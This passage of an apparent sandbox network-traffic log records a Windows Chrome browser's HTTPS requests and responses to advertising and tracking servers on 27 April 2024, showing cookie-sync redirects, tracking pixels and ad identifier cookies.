https://ad.turn.com/r/cs?pid=45&rndcb=1705656188 etag: RX915945b26af349759839febe73c73a74005 connection: close
2024-04-27 22:42:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
461	192.168.2.4	50340	8.28.7.83	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:17 UTC	1024	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTIxNzcmdGw9MTI5NjAw&gdpr=0&gdpr_consent=&piggybackCookie=CAESEJOnsZ4Y0zvykm-BqQM3Kw0&google_cver=1 HTTP/1.1 Host: image2.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B; chkChromeAb67Sec=1; pi=133799:2; DPSync3=1715385600%3A201_263%7C1714780800%3A252_265; SyncRTB3=1715385600%3A220_104_231_3_21_13_54_71_250%7C1714780800%3A223; KRTBCOOKIE_57=22776-1476058396850158061&KRTB&23339-1476058396850158061; PugT=1714257732
2024-04-27 22:42:17 UTC	669	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 27 Apr 2024 22:42:16 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_80=22987-CAESEJOnsZ4Y0zvykm-BqQM3Kw0&KRTB&23025-CAESEJOnsZ4Y0zvykm-BqQM3Kw0&KRTB&23386-CAESEJOnsZ4Y0zvykm-BqQM3Kw0; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 26-Jul-2024 22:42:16 GMT; path=/ Set-Cookie: PugT=1714257736; domain=pubmatic.com; SameSite=None; secure; expires=Mon, 27-May-2024 22:42:16 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-04-27 22:42:17 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
462	192.168.2.4	50342	8.28.7.83	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:17 UTC	966	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MjImdGw9MTI5NjAw&gdpr=0&gdpr_consent= HTTP/1.1 Host: image2.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B; chkChromeAb67Sec=1; pi=133799:2; DPSync3=1715385600%3A201_263%7C1714780800%3A252_265; SyncRTB3=1715385600%3A220_104_231_3_21_13_54_71_250%7C1714780800%3A223; KRTBCOOKIE_57=22776-1476058396850158061&KRTB&23339-1476058396850158061; PugT=1714257732
2024-04-27 22:42:17 UTC	319	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 27 Apr 2024 22:42:16 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-04-27 22:42:17 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
463	192.168.2.4	50341	8.28.7.83	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:17 UTC	998	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTgwNiZ0bD01MTg0MDA=&piggybackCookie=uid:A6347C54E561441189B9C53740B29AD4 HTTP/1.1 Host: image2.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B; chkChromeAb67Sec=1; pi=133799:2; DPSync3=1715385600%3A201_263%7C1714780800%3A252_265; SyncRTB3=1715385600%3A220_104_231_3_21_13_54_71_250%7C1714780800%3A223; KRTBCOOKIE_57=22776-1476058396850158061&KRTB&23339-1476058396850158061; PugT=1714257732
2024-04-27 22:42:17 UTC	745	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 27 Apr 2024 22:42:15 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_148=19421-uid:A6347C54E561441189B9C53740B29AD4&KRTB&23486-uid:A6347C54E561441189B9C53740B29AD4&KRTB&23489-uid:A6347C54E561441189B9C53740B29AD4&KRTB&23539-uid:A6347C54E561441189B9C53740B29AD4; domain=pubmatic.com; SameSite=None; secure; expires=Mon, 27-May-2024 22:42:15 GMT; path=/ Set-Cookie: PugT=1714257735; domain=pubmatic.com; SameSite=None; secure; expires=Mon, 27-May-2024 22:42:15 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-04-27 22:42:17 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
464	192.168.2.4	50343	8.28.7.84	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:17 UTC	964	OUT	GET /AdServer/SPug?partnerID=156078&xid=y-nf1VF.ZE2uVQ3O9Z0CITcwq0tC3xkHY-~A&gdpr=0 HTTP/1.1 Host: image4.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B; chkChromeAb67Sec=1; pi=133799:2; DPSync3=1715385600%3A201_263%7C1714780800%3A252_265; SyncRTB3=1715385600%3A220_104_231_3_21_13_54_71_250%7C1714780800%3A223; KRTBCOOKIE_57=22776-1476058396850158061&KRTB&23339-1476058396850158061; PugT=1714257732
2024-04-27 22:42:17 UTC	408	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 27 Apr 2024 22:42:17 GMT Transfer-Encoding: chunked Connection: close Set-Cookie: SPugT=1714257737; domain=pubmatic.com; SameSite=None; secure; expires=Mon, 27-May-2024 22:42:17 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-04-27 22:42:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
465	192.168.2.4	50334	35.212.133.238	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:17 UTC	805	OUT	GET /ul_cb/sync?ssp=medianet&gdpr=0&gdpr_consent=&gdpr_pd=1 HTTP/1.1 Host: x.bidswitch.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tuuid=22ec7773-8e4b-4639-873b-a22ce7444b56; c=1714257731; tuuid_lu=1714257731; custom_data=ksqvgV83WEJQamtiZXNGYTQwT2NpRmJBcjQyRFBWOG9BMkhlSHAlMkZ1ckREM3BkQ00lM0Q
2024-04-27 22:42:17 UTC	676	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Sat, 27 Apr 2024 22:42:17 GMT Content-Length: 0 Connection: close Cache-Control: no-cache, no-store, must-revalidate Location: //cm.g.doubleclick.net/pixel?google_nid=bidswitch_dbm&google_cm&google_sc&ssp=medianet&bsw_param=22ec7773-8e4b-4639-873b-a22ce7444b56&google_hm=MjJlYzc3NzMtOGU0Yi00NjM5LTg3M2ItYTIyY2U3NDQ0YjU2&gdpr_consent=&gdpr=0 Set-Cookie: tuuid=22ec7773-8e4b-4639-873b-a22ce7444b56; path=/; expires=Sun, 27-Apr-2025 22:42:17 GMT; domain=.bidswitch.net; samesite=none; secure Set-Cookie: tuuid_lu=1714257737; path=/; expires=Sun, 27-Apr-2025 22:42:17 GMT; domain=.bidswitch.net; samesite=none; secure

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
466	192.168.2.4	50333	50.31.142.223	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:17 UTC	750	OUT	GET /usersync/medianet/?cb=https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D1%26type%3Dzem%26ovsid%3D__ZUID__&puid=%24%7BVSID%7D&s=2 HTTP/1.1 Host: b1sync.zemanta.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: zuid=pzXJ98G8FgkOH15Vlr4a
2024-04-27 22:42:17 UTC	602	IN	HTTP/1.1 302 Found Content-Type: text/html; charset=utf-8 Content-Length: 111 Connection: close Cache-Control: no-cache, no-store, must-revalidate Expires: Thu, 01 Dec 1994 16:00:00 GMT Location: https://contextual.media.net/cksync.php?cs=1&type=zem&ovsid=pzXJ98G8FgkOH15Vlr4a P3p: CP="We do not support P3P header." Pragma: no-cache Set-Cookie: zuid=pzXJ98G8FgkOH15Vlr4a; Path=/; Domain=zemanta.com; Expires=Sun, 27 Apr 2025 22:42:17 GMT; Max-Age=31536000; Secure; SameSite=None Date: Sat, 27 Apr 2024 22:42:17 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
2024-04-27 22:42:17 UTC	111	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 6f 6e 74 65 78 74 75 61 6c 2e 6d 65 64 69 61 2e 6e 65 74 2f 63 6b 73 79 6e 63 2e 70 68 70 3f 63 73 3d 31 26 61 6d 70 3b 74 79 70 65 3d 7a 65 6d 26 61 6d 70 3b 6f 76 73 69 64 3d 70 7a 58 4a 39 38 47 38 46 67 6b 4f 48 31 35 56 6c 72 34 61 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://contextual.media.net/cksync.php?cs=1&type=zem&ovsid=pzXJ98G8FgkOH15Vlr4a">Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
467	192.168.2.4	50345	23.45.148.30	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:17 UTC	924	OUT	GET /cksync.php?cs=8&vsid=3572593249104590000V10&type=con&refUrl=&vid=42577288383572593249104590000V10&axid_e=&ovsid=AAACDi8HYa-cRgMTW_ICAAAAAAA&expiration=1714344137&is_secure=true&gdpr_consent=&gdpr=0 HTTP/1.1 Host: contextual.media.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: usp_status=1; visitor-id=3572593249104590000V10; data-rk=1977432098227636774~~8; data-r=LVIOSA1W-7-6DCM~~1; data-pbs=setstatuscode~~1
2024-04-27 22:42:17 UTC	636	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 57 Content-Type: image/gif Set-Cookie: data-co=AAACDi8HYa-cRgMTW_ICAAAAAAA~~8;Expires=Sat, 26 Apr 2025 22:42:17 GMT;path=/;domain=.media.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=31536000 Alt-Svc: h3=":443"; ma=93600 x-mnet-hl2: E Expires: Sat, 27 Apr 2024 22:42:17 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Sat, 27 Apr 2024 22:42:17 GMT Connection: close
2024-04-27 22:42:17 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2024-04-27 22:42:17 UTC	14	IN	Data Raw: 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
468	192.168.2.4	50344	142.251.167.149	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:17 UTC	1123	OUT	GET /ddm/trackimp/N2189699.3349700DISPLAYVIDEO360/B31724224.392521620;dc_pre=CJD37du744UDFbYOiAkdT2wNjA;dc_trk_aid=583921962;dc_trk_cid=213367934;ord=1714257735630;dc_lat=;dc_rdid=;tag_for_child_directed_treatment=;tfua=;gdpr=;gdpr_consent=;ltd=;dc_tdv=1? HTTP/1.1 Host: ad.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUkYo_qaJB8t4vD6z0JcvLuH2PUt4-24vSE0hsN84PAMJB6T_Vc-cTtoFUn2; ar_debug=1; APC=AfxxVi57njaBhV1ZeX-EyHfl729z-ajT-mAWBRM5lhyvI-DCu7Azfw
2024-04-27 22:42:17 UTC	579	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Sat, 27 Apr 2024 22:42:17 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Content-Type: image/gif X-Content-Type-Options: nosniff Server: cafe Content-Length: 42 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-27 22:42:17 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
469	192.168.2.4	50346	34.111.113.62	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:17 UTC	757	OUT	GET /idsync/ex/receive/check?partner_id=3355&partner_device_id=LVIOSA1W-7-6DCM&gdpr=0&us_privacy=1YNN HTTP/1.1 Host: pixel.tapad.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eus.rubiconproject.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TapAd_TS=1714257737362; TapAd_DID=da33c8c4-591f-41d2-a1ee-393c2b417291
2024-04-27 22:42:17 UTC	1095	IN	HTTP/1.1 200 OK Date: Sat, 27 Apr 2024 22:42:17 GMT Strict-Transport-Security: max-age=31536000 Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-Mobile Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-WoW64 P3P: policyref="http://tapad-taptags.s3.amazonaws.com/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" Set-Cookie: TapAd_TS=1714257737362;Expires=Wed, 26 Jun 2024 22:42:17 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Set-Cookie: TapAd_DID=da33c8c4-591f-41d2-a1ee-393c2b417291;Expires=Wed, 26 Jun 2024 22:42:17 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Set-Cookie: TapAd_3WAY_SYNCS=;Expires=Wed, 26 Jun 2024 22:42:17 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Content-Type: image/png Content-Length: 95 Server: Jetty(11.0.13) Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-27 22:42:17 UTC	95	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 01 03 00 00 00 25 db 56 ca 00 00 00 03 50 4c 54 45 00 00 00 a7 7a 3d da 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 00 0a 49 44 41 54 08 d7 63 60 00 00 00 02 00 01 e2 21 bc 33 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR%VPLTEz=tRNS@fIDATc`!3IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
470	192.168.2.4	50347	68.67.160.76	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:17 UTC	1178	OUT	GET /getuid?https%3A%2F%2Fce.lijit.com%2Fmerge%3Fpid%3D92%263pid%3D%24UID&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1 HTTP/1.1 Host: ib.adnxs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ce.lijit.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XANDR_PANID=3_kdcFG2MD1Iuq9CVgb7VR-1lmG5ItmyjzbJvetw9CfEFyFBW1QGIhAdKDk_MxJpRKyUxABh8k8vzLSqeZaGKytscrCRvXVID4i5JFAzoLw.; receive-cookie-deprecation=1; uuid2=1476058396850158061; anj=dTM7k!M40]Erk#WF']wIg2Hc#u`tfT!A#Ej.TOKKnyW<U1`VROYQM-:>N%:f?4^DS_^AL_X@Z4BQO/VqCIv?1Mu7p?<QG=%9sks1In=D?Iv3%`L5:g0+Q`VLqcKDHv`2oH0s2[CnY5O*f%Ip; uids=eyJ0ZW1wVUlEcyI6eyJydWJpY29uIjp7InVpZCI6IkxWSU9TQTFXLTctNkRDTSIsImV4cGlyZXMiOiIyMDI0LTA3LTI2VDIyOjQyOjE2WiJ9fSwiYmlydGhkYXkiOiIyMDI0LTA0LTI3VDIyOjQyOjE2WiJ9
2024-04-27 22:42:17 UTC	1464	IN	HTTP/1.1 302 Found Server: nginx/1.23.4 Date: Sat, 27 Apr 2024 22:42:17 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Location: https://ce.lijit.com/merge?pid=92&3pid=1476058396850158061&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1 AN-X-Request-Uuid: 96910dd1-8ae6-4e3c-a72d-a80f6843eb08 Set-Cookie: XANDR_PANID=3_kdcFG2MD1Iuq9CVgb7VR-1lmG5ItmyjzbJvetw9CfEFyFBW1QGIhAdKDk_MxJpRKyUxABh8k8vzLSqeZaGKytscrCRvXVID4i5JFAzoLw.; SameSite=None; Path=/; Max-Age=7776000; Expires=Fri, 26-Jul-2024 22:42:17 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Sat, 15-Apr-2034 22:42:17 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=1476058396850158061; SameSite=None; Path=/; Max-Age=7776000; Expires=Fri, 26-Jul-2024 22:42:17 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 149.18.24.69; 149.18.24.69; 678.bm-nginx-loadbalancer.mgmt.nym2.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
471	192.168.2.4	50335	35.212.133.238	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:17 UTC	897	OUT	GET /syncd?dsp_id=256&user_group=2&user_id=7de677f8-dda1-428e-88ae-9b2fad295b01&redir=//i.liadm.com/s/52176?bidder_id%3D5298%26bidder_uuid%3D$%7BBSW_UID%7D HTTP/1.1 Host: x.bidswitch.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tuuid=22ec7773-8e4b-4639-873b-a22ce7444b56; c=1714257731; tuuid_lu=1714257731; custom_data=ksqvgV83WEJQamtiZXNGYTQwT2NpRmJBcjQyRFBWOG9BMkhlSHAlMkZ1ckREM3BkQ00lM0Q
2024-04-27 22:42:17 UTC	273	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Sat, 27 Apr 2024 22:42:17 GMT Content-Length: 0 Connection: close Cache-Control: no-cache, no-store, must-revalidate Location: //i.liadm.com/s/52176?bidder_id=5298&bidder_uuid=22ec7773-8e4b-4639-873b-a22ce7444b56

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
472	192.168.2.4	50350	18.67.76.108	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:17 UTC	718	OUT	GET /c/?adExInit=sovrn&gdpr=&gdpr_consent=&redir=https%3A%2F%2Fce.lijit.com%2Fmerge%3Fpid%3D108%263pid%3D%24UID&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1 HTTP/1.1 Host: s.ad.smaato.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ce.lijit.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
